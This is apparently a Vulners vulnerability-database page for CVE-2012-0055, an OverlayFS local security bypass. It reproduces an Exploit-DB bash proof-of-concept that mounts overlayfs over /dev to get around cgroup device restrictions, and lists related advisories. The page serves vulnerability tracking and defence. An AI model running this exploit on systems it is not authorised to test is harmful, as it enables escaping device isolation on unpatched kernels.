Lucene search
+L

OverlayFS inode Security Checks - 'inode.c' Local Security Bypass

🗓️ 17 Jan 2012 00:00:00Reported by Gary PosterType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

OverlayFS inode Security Bypass - Local Security Bypas

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-0055
17 Jan 201200:00
circl
CVE
CVE-2012-0055
19 Feb 202017:28
cve
Cvelist
CVE-2012-0055
19 Feb 202017:28
cvelist
EUVD
EUVD-2012-0093
7 Oct 202500:30
euvd
NVD
CVE-2012-0055
19 Feb 202018:15
nvd
OpenVAS
Ubuntu: Security Advisory (USN-1384-1)
7 Mar 201200:00
openvas
OpenVAS
Ubuntu: Security Advisory (USN-1363-1)
16 Mar 201200:00
openvas
OpenVAS
Ubuntu: Security Advisory (USN-1364-1)
16 Mar 201200:00
openvas
OpenVAS
Ubuntu Update for linux-lts-backport-oneiric USN-1384-1
7 Mar 201200:00
openvas
OpenVAS
Ubuntu Update for linux USN-1363-1
16 Mar 201200:00
openvas
Rows per page
#source: https://www.securityfocus.com/bid/51529/info

#OverlayFS is prone to a local security-bypass vulnerability.

#Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions.



#!/bin/bash

ddir=`cat /proc/self/mountinfo | grep cgroup | grep devices | awk '{ print $5 }'`
if [ "x$ddir" = "x" ]; then
 echo "couldn't find devices cgroup mountpoint"
 exit 1
fi

# create new cgroup
ndir=`mktemp -d --tmpdir=$ddir exploit-XXXX`

# create a directory onto which we mount the overlay
odir=`mktemp -d --tmpdir=/mnt exploit-XXXX`

# create the directory to be the overlay dir (where changes
# will be written)
udir=`mktemp -d --tmpdir=/tmp exploit-XXX`

mount -t overlayfs -oupperdir=$udir,lowerdir=/dev none $odir
echo $$ > $ndir/tasks
# deny all device actions
echo a > $ndir/devices.deny
# but allow mknod of tty7, bc we have to mknod it in the writeable
# overlay
echo "c 4:5 m" > $ndir/devices.allow
echo "devices.list: XXXXXXXXXXXXXXX"
cat $ndir/devices.list
echo "XXXXXXXXXXXX"

# try writing to /dev/tty5 - not allowed
echo x > /dev/tty5
echo "write to /dev/tty5 returned $?"

# try writing to tty5 on the overlayfs - SHOULD not be allowed
echo y > $odir/tty5
echo "write to $odir/tty5 returned $?"

umount $odir
rmdir $odir
rm -rf $udir

# move ourselves back to root cgroup (else we can't delete the temp one
# bc it's occupied - by us)
echo $$ > $ddir/tasks
rmdir $ndir

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Mar 2015 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.2
CVSS 3.17.8
EPSS0.01241
23